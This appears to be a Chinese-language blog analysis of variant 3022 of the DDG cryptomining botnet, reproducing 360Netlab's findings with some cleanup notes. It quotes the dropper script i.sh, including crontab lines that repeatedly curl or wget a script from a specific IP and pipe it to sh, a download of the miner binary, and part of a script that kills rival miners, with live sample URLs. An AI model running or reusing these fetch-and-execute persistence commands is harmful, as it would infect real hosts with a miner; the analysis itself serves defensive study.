DDG全家桶之3022

本篇文章主要根据360Netlab新出的DDG分析文档来复现新变种3022，会涉及部分分析和清除的方法，

一、下载

下载脚本：http://119.9.106.27:8000/i.sh（i.sh名称位ddgs一贯的作风）

样本地址：119.9.106.27:8000/static/3022/

首先下载i.sh脚本分析下里边的内容

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -echo "" > /var/spool/cron/rootecho "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/rootmkdir -p /var/spool/cron/crontabs

if [ ! -f "lrnbbce" ]; thenwget -q http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -O lrnbbce

fi
chmod +x lrnbbce

ddg木马的老套路了，写环境变量、添加到定时任务、下载矿机执行、删除禁用其他挖矿木马(挖矿行业竞争很激烈了)
从3014版本开始增加了云端配置下发 disable.sh 来集中干掉竞争对手，
脚本地址：http://119.9.106.27:8000/static/disable.sh，内容如下

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinmkdir -p /opt/yilu/work/{xig,xige} /usr/bin/bsd-port

把同类的挖矿进程放到了这个脚本中，来杀掉yilu、以及BillGate家族的gates进程等
不过这都是之前版本的，现在这个更高级了，直接下发二进制程序disable
